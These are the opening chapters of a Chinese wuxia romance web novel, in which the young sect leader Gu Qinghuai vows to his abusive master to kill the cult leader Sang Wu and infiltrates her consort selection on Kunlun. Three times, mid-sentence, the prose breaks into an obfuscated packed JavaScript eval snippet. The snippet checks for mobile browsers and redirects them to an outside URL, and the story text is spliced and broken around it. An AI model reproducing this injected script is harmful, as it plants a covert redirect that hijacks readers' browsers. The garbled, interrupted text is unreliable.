《忠犬的自我修养gb》 1. 立誓 正是三月好时节,中州花团锦簇,和风醺柳。 流云宗正位于中州西南,此时午时刚过,黑檀木制成的议事堂大门也被春风镀上一层淡黄暖意。 “那大魔头桑妩竟真的传信江湖,广招美貌男子充入后宫?”一位发须皆白的瘦削老者皱眉问道。 老者坐在黄花梨木制成的圈椅上,在他身旁坐着一名稍显年轻的中年男子,闻言颔首道:“正是,于家唐家,还有鉴心派、七剑堂、无影门、千机宗,几乎所有数得上号的江湖门派都已派弟子前往,希望能借机杀了这个魔头。” 而在两人对面坐着两名中年男子,四人均着的一身蓝色对襟长袍,正是流云宗的四名长老,鹤明、鹤语、鹤眠、鹤轩。 堂中四张椅子两两相对,正中间的墙壁上高高悬挂着一个乌木烫金的牌匾,上书“重明流云”四个大字,哪怕远远观之也是一股古朴厚重之意扑面而来,牌匾下摆着一张太师椅,正是属于流云宗掌门的位置,却是空着的。 “那昆仑山天阙峰地势极其险峻,寻常人根本进不去,这次是潜入天阙峰的绝佳机会。” “不行,我们若是轻举妄动,恐会正中敌人奸计。” 见两人争论不休,鹤语长老有些急躁,“若当真是被其他门派抢先杀死了魔头,我流云宗作为正义盟之首的面子往哪里搁?” 于湘灵穿着一身蓝色弟子服默默地站在鹤明长老身后,堂内争论热切,她却只一个劲地瞟向那空置的太师椅旁,那里摆着一个木制的轮椅,上面坐着的中年男子神情阴沉狠戾,让人一看便心升抵触和恐惧,于湘灵娇俏的脸庞却是浮现一抹羞赧和期待。 蓬山师叔答应过她,待这次淮师兄回来就让他们订亲。 “哗——” 议事堂木制的大门突然被人推开,外间明亮春光瞬间倾泻而入,打断了众人的争论。 众人转头看去,一名身着蓝色广袖长衫的年轻男子逆着光站在门口。 虽然看不清容貌,但只看那高束的发冠和颀长如竹的身形,于湘灵也一眼认了出来,顿时喜道:“是淮师兄回来了!” 顾清淮沉步而入,少年穿的一身烟蓝色掌门服,腰间束以月白色锦带,衣摆和领口都绣着白色的流云纹,衬得整个人清冷如玉,仿佛透着仿佛与生俱来的距离感。 堂内瞬间安静下来,众人神情如出一辙地变得恭谨而又敬畏,齐声向来人行礼:“掌门。” 顾清淮十六岁那年成为流云剑的主人,也就成为了这一任的正义盟盟主,只是在流云宗内部众人还是习惯称呼他为掌门。 顾清淮从众人面前缓步走过,所过之处一股劲风激荡,温和却又不容拒绝地托举着众人直起身子。 于湘灵也被这股劲风托举着直起身子,她几乎是目不转睛地看着眼前少年,面容清疏如水中冷月,明明穿的是和几位长老相似的宗门制袍,就是好看的让人移不开眼。 江湖中人都是慕强的,她也不例外,可是明明蓬山师叔有意撮合,师兄待她却一直和待旁人无异,冷淡疏离。 顾清淮并没有在太师椅上坐下,而是走到一旁目光阴沉中年男子身前,恭敬地双手交叠行礼:“师父,弟子回来了。” 那叫蓬山的中年男子脸色却依旧阴沉。 可其他人脸上的激动已然按耐不住,毕竟顾清淮此行的壮举早已以燎原之势一夜之间传遍江湖,鹤明长老更是激动到苍老的声音都有些颤抖:“恭喜掌门以一敌五,大败魔教五护法!” 其余人也激动地连声附和:“恭喜掌门,大扬我流云宗威势!” 蓝衣少年单手负后立于“重明流云”牌匾之下,脊背挺拔如松如竹。 那叫蓬山的中年男子却突然冷哼一声,“清淮,那女魔头桑妩要在全武林寻找美貌少年充入后宫的消息,你可听说了?” 顾清淮微微颔首,“有所耳闻。” “你去昆仑山走一趟,务必取得那女魔头的性命。”蓬山淡淡说道,语气平常地就像在说让顾清淮去屋外走一趟,拔一根草回来。 堂内却瞬间炸开了锅。 鹤明长老猛地一拂衣袖,怒道:“休得胡言!这种事怎么能让掌门亲自去?” 其余长老几乎是同时对蓬山怒目而视,“蓬山,即使你是掌门的师父,也不能替掌门做主。” “掌门不仅是掌门,还是这一任的正义盟盟主,怎么能以身犯险,送上门去?” “蓬山,我知道你恨极了魔教,却也不能这般荒唐。” 顾清淮微微一怔,很快意识到蓬山不似在开玩笑,他躬下身,沉声应道:“是,弟子遵命。” 几乎是在顾清淮应声的同时,几位长老反对的话齐齐僵在了嘴边,顾清淮年纪虽轻,可这几年下来威势渐深,哪怕不说话时也自有股不怒而威,众人早已习惯听命于他。 “清淮,送我回屋。”蓬山冷冷开口,“有劳鹤明长老一路,清淮此去诸多事宜还需宗内配合。” 由于蓬山喜静,他的正气轩在整个流云宗来说都算得上偏远。 进屋后,顾清淮将蓬山抱到床上,自己则是坐在床边,两只手掌熟练地按在蓬山双腿的三里穴上,雄浑的内力犹如浩瀚江海倾泻而入,一点一点梳通蓬山双腿堵塞的经脉。 平日每个月顾清淮都要替蓬山这么疏通一次,这次也是由于他外出耽误了,今日才补上。 重明功煦暖的内力让蓬山舒服地长喟一声,也不知这般运行了多少周天,蓬山终于示意顾清淮可以停下。 此时已然过去了大半个时辰,饶是以顾清淮内力之深脸色都有些发白,顾清淮却顾不上调息,从怀中小心翼翼地掏出一个锦布,恭敬地递到蓬山手中,“师父,弟子终于替您寻来了这株龙血草,这次定能治好您的腿疾。” 蓬山打开锦帛,露出里面被精心包着的一株红色药草,嗓音却越发冷酷,“你的重明功已然突破第九层,这次遇上魔教五护法明明能全歼贼子,为何那青鸾使却能活着逃离?” 鹤明在一旁看着,心中陡生不忿。 这龙血草生长在极寒之地,极难取得,更何况此次还遇上魔教五护法同来争抢,掌门以一敌五,凶险万分,蓬山没有丝毫关心,更没有任何称赞,反而诘责掌门为何放过青鸾使? 见蓬山提到此事,顾清淮清冷的脸庞倏地一颤,起身在床头低首跪了下去。 当日那青鸾使中剑后倒在地上奄奄一息,目光凄婉而又哀绝,像极了十二年前阿姐倒在血泊中的模样,让他无论如何也下不去手。 “为师说过,切不可对魔教中人心存怜惜,更不可有半分心慈手软,否则你母亲就是前车之鉴!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14878121|159667||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 顾清淮脸色顿时一白,双手交叠,恭声道:“弟子知错,请师父责罚。” “为师不知你究竟为何会放过魔教之人,但你马上要启程去西州,此事暂且按下,只是此次是击杀那魔头的最佳机会,这次切不可再心慈手软!” 他思来想去,那女魔头武功高计谋深,想要一击制胜,恐怕整个武林只有顾清淮能做到。 鹤明笑着缓和气氛:“蓬山师弟你放心,此次掌门亲至定是手到擒来。” 蓬山垂眸看向顾清淮腰间佩着的淡蓝剑鞘,“流云剑是盟主象征,此次前去魔教自是无法携带,你就用那木箫做兵器。” “是。” 蓬山审视的目光继续在顾清淮身上扫视着,突然间狠狠皱起了眉。眼前少年长眉入鬓,眼眸深邃,像极了他最恨的那个人,郁澜风。 郁澜风生性放荡不羁,不管看谁脸上总是挂着潇洒笑意,他平日在魔教为非作歹也就罢了,可不知何时竟然骗走了他最爱的师妹,若不是郁澜风,他视若珍宝的师妹又怎么会误入歧途,最后惨死异乡。 他有意把顾清淮养的冷心冷情没有丝毫情绪波动,可随着顾清淮年岁渐长,样貌却越来越像他那个魔教妖人的爹。 “啪!” 一阵强劲的掌风骤起,竟是蓬山狠狠一掌扇在了顾清淮脸上。 顾清淮脸被打的偏了过去,一丝鲜血从唇边淌下,少年却没来得及擦拭只是神情更加恭谨黯然。 蓬山知道自己这是在迁怒,却没有丝毫歉意,他看向地上跪着的少年,突然一把凑近摘下顾清淮脑后束发的紫木冠,乌黑长发瞬间如瀑般倾泻而下。 少年脑后只剩下一个松垮的发髻,乌黑的发丝垂落在俊美的脸侧,少了几分清冷,添了几分柔和,看着眼前终于有几分师妹模样的少年,蓬山心中愤怒稍稍抚平,冷道:“你就这样去昆仑山吧。” “是。” 蓬山神情却依旧没有丝毫缓和,“墙边的亮格柜第一格里有一个锦盒,你拿来给我。” 顾清淮起身照做,将锦盒恭敬地递到蓬山手上,蓬山摩挲着锦盒上繁杂的纹路,目光晦暗不明,“人少,则慕父母,知好色,则慕少艾,那魔教妖人最擅长蛊惑人心,你把这药丸服下,可助你抵抗诱惑。” 蓬山取出锦盒中的药丸送到顾清淮身前,声音冷彻:“希望你不要像你娘一样,被魔教妖人迷惑,万劫不复。” 顾清淮垂眸看向眼前浑圆的红色药丸,默默拿起、咽下。 看到顾清淮喉头上下滚动,蓬山阴沉的脸上终于露出一丝满意,“清淮,你发誓,此次定要取那魔头的项上人头,若失败,便不要再叫我师父,也不要再来见我。” “师父!”顾清淮仓皇抬头。 “师弟,你又何必如此。”一旁的鹤鸣长老叹息一声,“你明知掌门有多敬重你这位师父。” 若不是看在顾清淮的面子上,蓬山一介废人连议事堂的门都进不了。 “弟子顾清淮在此立誓,此次前去定会取回魔头性命,若违誓言,”顾清淮看了眼一脸冷酷的蓬山,颤声道:“若违誓言,便让师父此生再也不认我这个弟子。” 风乍起,吹的窗棂纸扑扑作响,低沉的誓言轻易便消散于和煦的春风中,可人心易碎,终是留下了不可磨灭的烙印。 2. 浮光教 流云宗后山的梅花林中,一名蓝衣玉冠的少年执剑刺出身姿矫健,他每一步都刚好踏在落英之上,每一剑挥出都有淡蓝剑气流转,明明四周树干都已光秃,却让人感觉似乎梅花仍在盛放。 “师兄这一招落花风使的可真好!”于湘灵不知何时出现在一旁,满眼仰慕,为何她的剑法徒有其形,始终不得其意。 当初蓬山师叔带着年仅六岁的淮师兄回宗里时,不管是北宗还是南宗都不愿收留,却没想到淮师兄竟同时将流云剑法和重明功心法练到极致,一举结束了流云宗南北宗长达百年的分裂,也重新恢复了流云宗作为正义盟之首的地位。 顾清淮却像是没有听到来人声响,将手中淡蓝的流云剑挥舞的剑气纵横。 这满地淡粉的梅花瓣,像极了阿姐额头的胎记,若是阿姐还在,若是她能亲眼看到他栽下的这一整片花香如海的梅花林,该有多好。 若是可以,他宁愿那日死的是他。 “师兄?”于湘灵忍不住出声唤道,真不知道师兄为何这般喜欢梅花,明明什么都不在意却亲手栽下这么大一片梅花林,还每每都要到此处练功,哪怕眼下只剩些枯枝落花也看的这般专注。 顾清淮闻声终于收剑回鞘,鹤明长老忙躬声道:“掌门。” “老夫已按照掌门的吩咐,待您启程后便让心腹弟子扮做您的模样前往东州,对外宣称掌门去东海寻找鹿活草。” 顾清淮微微颔首,“有劳长老。” 不知为何那魔教似乎对灵药极为关注,此次失了龙血草,必不会再放过鹿活草,而魔教五护法中青鸾使重伤,其余四位均已身死,目前只有新任的紫霄白虎两位护法,为了寻药想必也会尽数派去。 鹤明长老却仍是担忧,“您此计虽然可以调虎离山,但那桑妩行事诡异武功高强,您是流云剑的主人,携重明流云令号令武林,怎能亲自涉险?” “此事我自有打算,长老无需多虑,五月十八是师父寿辰,我自会速战速决,用那桑妩的项上人头替师父贺寿。” 眼前少年单手负后神情淡然,仿佛天底下没有任何难事会让他皱一下眉头。 鹤明心中明白,顾清淮年岁虽轻,做事却极有章法,说一不二,他只能深深地躬下身去,衷心道:“那女魔头深不可测,掌门此去定要多加小心。” 顾清淮淡淡颔首,漆黑的眸底似有厚重霜雪覆盖。 * 眼见三月十五将近,顾清淮快马加鞭,从中州一路疾驰,却也花了整整七日功夫才赶到西州地界。而从踏入脚下的石河村开始,便属于浮光教、也就是江湖人称魔教的势力范围。 顾清淮驻马不前,眼前的河流并不宽,约莫只有三丈宽但胜在十分清澈,哪怕站在桥上也能清楚看到河底遍布的鹅卵石,也因此得名“小石河”。 此时恰逢正午,远处的村落炊烟袅袅,桃红柳绿,一派生机盎然,看的顾清淮不知不觉间红了双眼。 他阿爹本就是西州人,当年爹娘恋情不容于世,两人便隐居于此,他也在此处出生、长大,他人生最快乐的时光便是在石河村的六年。 可是十二年前的那个冬天,一切都变了。 魔教的人肆意冲入村庄,把所有人屠杀殆尽,素来平和的村落一日之间尸横遍野。 当时他家左右各有一户人家,左边那户姓桑,右边那户姓楼,郁桑楼,是西州人数最多的三大姓。 魔教攻入时,爹娘和敌人缠斗,阿姐为了掩护他和楼稷逃跑,被人一剑穿胸,楼稷将他藏在水缸里自己去引开敌人,他在漆黑的水缸里等了好久好久,直到外面一片寂静,直到天黑了又亮,楼稷却再也没回来。 后来他实在坚持不住,从水缸里爬出来,他饿的路都走不动,只能强撑着向外面爬去,入目的却唯有满地横尸。 他一边哭一边找,终于看到熟悉的一男一女拥抱着倒在血泊当中,哪怕已死去多时双手却仍旧紧紧握着。 顾清淮解下腰间长箫举到嘴边,一曲寒山偈,如泣如诉,让人的思绪沉浸在那日漫天的暴雪中。 西州冬日的天顶乌黑渺远,六岁的他饿的浑身没有丝毫力气,阿爹和阿娘死了,阿姐也死了,楼稷想必也被敌人杀害,只有他活了下来,只有他这个最没有用的人活了下来。 大雪漫天,他无力地躺在地上,看着头顶昏暗的天空,雪花不断自阴沉的厚云间飘落,四肢慢慢地冰冷、僵硬,就在他以为自己就要这样死去时,是师父出现救了他。 师父替他安葬了爹娘和石河村的乡亲,又将独身一人的他带回了流云宗,那是阿娘曾经生活习武的地方。 后来他无数次在睡梦中惊醒,梦里都是那日被鲜血染红的白雪,都是阿姐被一剑穿胸的惨烈,都是爹娘相携倒地的血泊。 箫声渐低,哀沉绵长,融在袅袅的炊烟中,散入远方。 “哗啦!” 天阙峰顶青冥宫中,桑妩手中端着的琉璃茶盏突然掉落,碎了一地。 “教主您怎么了?”婢女惊惶地跪了下去,忐忑地不敢抬头。 桑妩难受地捂住胸口,眉头无声紧皱,方才左胸早已愈合的伤口不知为何再次疼痛起来,让她忍不住回想起石河村被屠村那日。 若不是她天生心脏长在右边,只怕那日便和爹娘一起丧命于敌人剑下。 她以前一直以为闯入村庄的凶手是浮光教的人,可这些年她真正执掌全教后,哪怕当年之事已遥不可查,她却渐渐寻到一些蛛丝马迹。 也许当年之事,那些人只是假借浮光教之名行事而已。 桑妩陷入回忆中久久不言,婢女心中的恐惧却达到了顶峰,教主性情喜怒不定,生杀予夺都只在寸息之间。 直到脸颊被喷上温热的气息,桑妩的思绪才终于被拉了回来,不用看她也知道,是无忧在舔她。 无忧是她十岁那年便养在身边的大黄狗,当时她虽然没有伤到要害却也动弹不得,多亏无忧替她寻来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14878122|159667||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 草药吃食她才在寒冷的冬日活了下去,后来才能成为这青冥宫的主人。 本来狗的寿命不过短短十年,可这些年无忧跟在她身边,天材地宝吃了个遍,不仅生龙活虎就连毛发都变的金黄,体型也比过去大了足足两圈,站起来时足有半人高,威风的很。 “起来吧。”桑妩看着地上婢女淡淡说道。 婢女高高提着的一颗心这才终于回到了原处,连忙退下站到一边,浑身已然被汗水湿透。 第二日,便是三月十五之期。 天阙峰如一柄利刃直入云霄,不管山脚是何季节,峰顶都是常年积雪,而峰上已经数百年没有这般热闹过了。 哪怕许多人从未到过浮光教,却也听说过青冥宫的威名,恢弘大气、奢华绮丽,乃人间至圣乐园。 高耸的宫门左右各竖着一尊极尽威武霸气的狻猊兽玉像,宫顶藏青色的琉璃瓦在白雪掩映下更增威严肃穆。 天阴沉着,大雪如鹅毛般漫天落下,青冥宫外汉白玉砌成的浩长台阶上,成列地站着上百名从九州各地赶来的年轻男子,在众人末尾静静站着一名颀长挺拔的白衣少年,正是从中州赶来的顾清淮,少年乌黑的发丝在寒风中飞舞,身上和发顶已积起片片白雪,想来已经在大雪中站了许久。 “顾大盟主?”顾清淮肩膀上突然被人猛拍了一下,耳畔响起低低的惊呼,“您老人家竟亲自前来了。” 卢青阳知道此次除了中立门派、和魔教交好的门派外,正义盟中的各门派也都派了人前来刺杀,却没想到顾清淮这尊大佛竟然亲自来了。 “你不是马上就要和于家大小姐订婚,竟然也会来此?”卢青阳一脸戏谑。 顾清淮冷冷转身,正对上一张硬挺略黑的国字脸庞,其上一双眼眸如铜铃般炯炯有神,正是千机阁的卢青阳,流云宗外为数不多见过他真容之人,卢青阳沉迷暗器鲜少出门,想必这次也是千机阁派他前来的缘由了。 “你说这桑妩怎么一直不露面,是不是害羞了?”卢青阳似乎格外兴奋,让人难以想象顶着一张如此硬朗脸庞的人话会这么多,“你说她若是对本公子一见钟情非我不嫁,我下不去杀手怎么办?” 见顾清淮默不作声,卢青阳仍在喋喋不休,“顾盟主真是好耐心,你看那些人可都按捺不住了。”其他人神情中明显透着不耐,纷纷拉长了脖子往上面看。 “叫我郁淮。”顾清淮低声斥道。 “尊主,外面的人似乎等的不耐烦了。”新任的紫霄使躬身禀告,男子约莫二十五六,披了身上好的狐裘大氅,看向桑妩的目光中是不加掩饰的爱慕。 桑妩慵懒地斜倚在长榻上,漫不经心地嗤道:“才半个时辰都等不住,当真是没有耐心。” 婢女适时地递上一杯冒着热气的雪参茶,桑妩轻轻抿上一口,吐出一缕热气,这才不紧不慢地吩咐:“你去告诉他们,本教主喜欢耐心好的人,就让他们在外面待着,能撑到最后的十个人,便能来见我。” 3. 见面 “是。”紫霄使躬身领命而出,离开前仍贪婪地看了眼桑妩假寐的侧颜。 宫外的人听到这消息时,偌大的台阶上一片哗然。 “这该死的女人竟敢让本公子在外面等她,等她爱上我后,定要让她也尝尝今日屈辱。” “这到底是是选男宠还是选侍卫,还要耐心好?” “这么冷的天,能撑到最后的那定然是内功精深的,她就这么放心让这种人睡再枕边?” 顾清淮耳力极佳,哪怕相隔百米也能将众人的低声议论听的一清二楚,这些年他和魔教中人多有交手,因此才更加清楚这魔教之主有多难对付,只是没想到一来便给了众人一个下马威。 一开始众人还想着熬一熬便能撑过去,可随着时间推移,已然有人撑不住倒了下去,然而剩下的人仍有数百之众,谁有自信一定能撑到最后,又有谁甘心就这么在雪中站着,让身体慢慢冰冷? 眼看雪越来越大,终于,有人忍不住了。 顾清淮目光瞬间一凛,竟是有人对着身边人出手了! 而随着这人的出手,打斗就像是疫病一样,一传十,十传百,不过瞬息之间整个台阶上已是一片混战,毕竟对于习武之人来说,击倒身边的人远比原地撑着轻松许多。 而只要杀到只剩最后十个人,就可以见到桑妩了。 顾清淮淡漠的双眉在看到青冥宫的守卫竟然没有制止时,终于微微蹙了起来,他终于明白,原来这就是桑妩想要的效果。 不费吹灰之力便能知道每个人的修为强弱,武功路数,当真是好心计。 而不知何时桑妩已倚在窗边,任风雪从大敞开的窗户灌入,不动声色地观望着长阶上的一举一动。 “尊主,不知可有合您心意的?”白虎使走到桑妩身旁,恭敬询问,“属下看着这些人无论是样貌还是武功,都远远不如紫霄使。” “尊主,您难道真的要把最后剩下来的人都招来侍奉,他们哪里比得上属下?”紫霄使满脸不忿,“您究竟对我哪里不满意,为什么一直不愿意接受属下的心意?” 桑妩呷了口手中热茶,透过氤氲的白气看向眼前满脸不甘的俊朗男子,慢慢开口:“紫霄,你会问出这番话,便说明你不是我想要的人。” 能让她满意的枕边人,她说什么便是什么,绝对不会质疑她的决定和想法。而若不是看在紫霄使同她这十余年来的情谊,她根本不会让这样一个觊觎她的人留在身边。 年轻的紫霄使闻言愈发不甘心,桑妩总是这样不把话说明白,“那外面这些人,就能令您满意?” 桑妩视线落在宫外一片混战的众人身上,她因内功的原因暂时离不开这天阙峰,而之前各地分舵送来的人都太过无用,没一个禁得起她玩,她正好在这些人身上找找乐子,待她玩够了,这些人还有大用。 青冥宫的玄□□中收藏有各派武学,这些年她几乎通看了一遍,对各派武功称得上如数家珍,她因为修行功法的缘故目力极佳,不过片刻的功夫已将众人武功路数看了个七七八八。 除了和浮光教交好的门派外,这正义盟还真是看得起她,几乎数的出名号的门派都来了。 有意思。 眼见桑妩似乎看的饶有兴致,白虎使忍不住说道:“尊主您若是喜欢看比武,尽可去修罗场看个痛快,何必看这些人。” 桑妩像是没听到般嘴角一直噙着淡淡笑意,随着视线缓缓向长阶下面移动,那一直漫不经心的目光倏地顿住。 紫霄使目光一直凝在桑妩脸上,自然不会错过她的变化,他困惑地顺着桑妩视线看去,却只见茫茫风雪,别无他物。 桑妩湛亮的目光越过数百级台阶,穿过厚重风雪,落在队伍最后站着的一名白衣少年身上。 腰间仅用素色的蓝色锦带束着,上面别着一管木制的洞箫,眉目如画身姿挺拔,白色的衣袂在寒风中翻飞,衬得整个人越发清冷。 桑妩审视的目光渐渐变得期待,这般风姿出尘的人物放眼整个浮光教万千教众里也找不出一名,让人下意识想起天上的流云,雪中的风霜,清冷疏离,只可远观无法亲近。 “只是白衣太素,若是染上鲜血想必好看极了。”桑妩幽幽叹道,姣好眼眸里晦暗不明。 两人之间隔着近百米,那白衣少年却似乎若有所感,几乎是在她一句叹息落下的同时,那人瞬间动了。 少年一手负后,一手执一管古朴木箫,于混乱厮杀中缓步穿过,仿佛一片血色中盛开的白梅,清冷无暇。 很快,便有人对他出手攻击,眼见一掌袭来少年清隽的身躯陡然迸发出盛气凌人的气势,饶是以她目力之佳也没看清他是如何将人降伏,不过片刻之间已再次变回那冷漠淡然的模样。 当真是好身手,好气度,桑妩忍不住鼓了鼓掌,只是,她目光渐深,这人用的武功看着竟像是她浮光教的。 不到一盏茶的功夫,这少年已穿过人群走到台阶之上,纯白的衣袂已然沾染鲜血,在寒风中猎猎翻飞,而在他身后,仍然站着的已只有廖廖九人。 桑妩双目微眯,若不是相隔甚远,她都要怀疑这人是不是听见了她方才说的话。 可惜,她想看的白衣染血,染的得是自己的血。 “差不多了,让他们进来吧。”桑妩饶有兴致地吩咐。 卢青阳靠着一手暗器功夫勉为其难地站到了最后,只是比起顾清淮来狼狈了不知多少,可他满心的疲惫在进入青冥宫时都瞬间化为了虚无。 “这青冥宫也太奢华了吧……”哪怕早有心理准备,卢青阳仍忍不住暗暗腹诽,这宫殿怕不是金子做的,闪的他眼睛疼,明明没有点一根烛火,却比宫外还要亮堂,而在走近后卢青阳心中的震惊更是达到了顶峰,这殿内虽然没有燃烛火,可是至少摆了上百颗夜明珠,难怪亮如白昼。 那可是夜明珠啊,一颗珠子已然价值连城,这一个宫殿里竟然有上百颗!这浮光教怕不是蚌精变的,专产夜明珠。 而正前方的华贵长榻上,慵懒地斜倚着一名紫衣女子,她身下是色泽光丽的白虎皮,身后靠着某种金色的毛绒物件,女子肌肤胜雪,眉眼精致,额头坠着的紫色宝石在夜明珠照耀下闪着异样光芒,如瀑长发披散在紫色的锦裙上,乌黑中泛着诡异的蓝,妩媚而又妖冶。 卢青阳无意识地咽了下口水,谁能想到这凶名远扬的桑妩竟长的这么美,看上去纤弱妖娆,丝毫不像传闻中那杀人不眨眼的魔头。 听见他们进来的响动,桑妩缓缓转过头来,姣好的眼尾微微上扬,双眸似是一泓清水,仿佛能洞察人心底所有的想法。 桑妩漫不经心地打量着眼前十名年轻男子,同样,顾清淮也不动声色地观察着眼前声名赫赫的魔教教主,桑妩。 过了半晌,桑妩终于微微一笑,缓缓从榻上起身,随着桑妩的动作,她身下那金色的毛绒软枕竟也随之而动,众人这才看清,那竟是一只金色的长毛大狗! 桑妩莲步轻移,从台阶上缓缓而下,女子曼妙卓绝的身姿顿时吸引了所有人的目光。 众人再次猛地一惊,原来那紫色裙摆下露出的一双玉足,竟然是赤着的,踩在墨绿色的地毯上更显白皙如玉,女子每走一步,都会带起一阵若有似无的香气,好似山间红梅盛开,魅人心志。 有未经人事的男子脸色瞬间涨红,顾清淮却是不着痕迹地移开视线,双眸如深潭般毫无波澜。 卢青阳瞧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14878123|159667||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见这一幕双眸顿时睁大,顾清淮这都无动于衷,还是不是男人了?也有人心中闪过一丝唾弃,暗叹魔教中人果真是不知廉耻行事放荡。 桑妩将众人反应尽收眼底,不慌不忙地走到一长着张娃娃脸的葛衣少年身前,“少年郎,你叫什么名字?” 那人满脸通红,小声道:“我,我叫季愁。” 桑妩握住季愁手腕,悄无声息地查探着,同她预料的一样,眼前这人丹田被废毫无内力,方才能坚持到最后全靠那一手精妙毒药,“阿愁,你毒药用的这般好,不知医术如何?” “尚、尚可。” 桑妩笑意渐深,“本教的青鸾使重伤昏迷,你可会照顾?”不知为何,她见着这季愁总是感觉分外亲切,而静姝这段时日不在教里,她正缺一名医者,教中守备森严,她并不担心他会有二心。 桑妩媚眼如丝,勾的人心头一片火热,哪怕是站在旁边的男子都是一阵热意,更不用说直面桑妩的季愁了,一张娃娃脸已然涨的通红,眼底满是爱慕之意。 有人终是忍不住心中一热,当真是人间尤物,当真是牡丹花下死,做鬼也风流。 而桑妩已然走到另一名黑衣男子面前,语气如常,却透着微不可察的冷意,“这位郎君又是从何处来,叫什么名?” “在下颜旭,无门无派江湖游侠,仰慕桑教主威名已久,此次希望能成为教主的入幕之宾。”这人的回答似乎天衣无缝。 桑妩目光闪烁几许,将手放到那人胸前,微笑道:“你心跳很快。” “是因为紧张,还是害怕?” 几乎是在“怕”字刚落下时,桑妩目光陡然冷厉,而颜旭和他身旁男子身形同时闪动,一人出掌一人掷出暗器,齐齐朝她攻来! 桑妩微微一笑没有丝毫闪避,只见劲风一扬,颜旭的掌风和那人的暗器,同时被反震回他们自己身上。 “噗——”两人猛地喷出一口鲜血,倒在地上。 “方才我明明见你使的是苍山派的落凤掌,竟还敢说自己无门无派。”桑妩嗓音依旧柔丽婉转,却听的人不寒而栗。 “你怎么可能看,看出——”颜旭话在嘴边终是再也说不出来,气绝身亡。 众人一片骇然。 顾清淮也忍不住皱了皱眉,颜旭两人身手都是一流,此次出手更是抱着必杀的决心,却不想竟被桑妩轻描淡写地便化解。 而浮光教的人却似早已看惯了这种情景,训练有素地将两具尸体拖了下去。 在一片寂静中,桑妩走到了顾清淮面前,眼前少年长身而立,一双漆黑的眼眸如夜似渊,深沉而又清冷,仿佛浸着万山风雪。 桑妩笑意嫣然,红润的嘴唇泛着诱人的光泽,突然一把攫住顾清淮下颌,吐气如兰:“小郎君,你这浮光教的功夫当真是极妙啊。” 几乎是在桑妩靠近的同时顾清淮脊背瞬间绷直,他迫不及待地想要一掌击毙眼前女子,可是不行,现在绝对不是出手的好时机。 “你今年多大岁数,叫什么名字?” 顾清淮强行按捺住心中冲动,面上若无其事地回道:“郁淮,十八。” “姓郁,你是西州人?”桑妩若有所思地问道。 顾清淮刚欲点头—— “啪!” 少年俊美的脸上竟是结结实实地挨了一耳光,一丝鲜血顺着嘴角淌下,染红了身前白色的衣襟。 强烈的震惊和屈辱让他双手瞬间攥紧,漆黑眸中凛冽杀意一闪而过,回过神来后又迅速松开。 “倒是生的一副好模样,可惜这个淮字我不喜欢,”桑妩再次攫住少年下颌,逼迫他不得不直视她含笑的双眸,“这个字会让我想起一位十分憎恶之人。” 4. 悬笼 “不知教主憎恶之人是谁?”即使被攫住下颌,顾清淮嗓音仍旧没有丝毫颤抖,深邃眼眸沉静如水。 众人在旁听着心中却已有了猜测,毕竟放眼整个江湖,名字中带“淮”字还能被桑妩憎恶的,也只有正义盟盟主顾清淮。 果然,只听桑妩幽幽开口,“此人毁我分舵,杀我护法,此等罪不可恕之人迟早会惨死于本教主的灭魂鞭下。” 一旁的紫霄白虎两使闻言立刻单膝跪地,齐声道:“尊主武功盖世,似顾清淮此等小人只配被您踩在脚下。” 竟真的是顾清淮……哪怕早有猜测众人仍是不免心中一震,这一任的正义盟盟主顾清淮年纪虽轻威望却极高,只是他素来深居简出,哪怕是正义盟中见过他的人也是寥寥无几,而魔教中人目前见识过流云剑都威力还活着的,恐怕也只有那重伤昏迷的青鸾使一人。 却不知这女魔头和顾盟主对上,会是谁胜谁负。 顾清淮早在桑妩初次提及时便知她所说之人定然是他,毕竟他和她之间早已是不死不休之局。 桑妩唇角笑意渐深,轻轻抚过顾清淮漂亮的下颌,纤白手指看上去似乎柔若无骨,却没有人会忘记这双手方才是如何毙人于瞬息之间。 “你这身俊俏功夫是跟谁学的?”桑妩一瞬不瞬地盯着少年眼眸,她无聊时曾修习过浮光教最上乘的媚术,只是自从她习成后从没有用来魅惑男子,反而时常助她分辨一个人有无撒谎。 这自称郁淮的少年刚刚被她掌掴,脸上红痕尚未消褪,对上她灼灼的视线却只淡然一笑:“在下无父无母,只是曾经有一位姓郁的侠士路过村子,侥幸得他传授武艺,我便也随了他的姓。” 姓郁的侠士,会的还是她浮光教的武功……教中姓郁之人众多,一时难以核查,少年这番话看上去倒真是合情合理,天衣无缝。 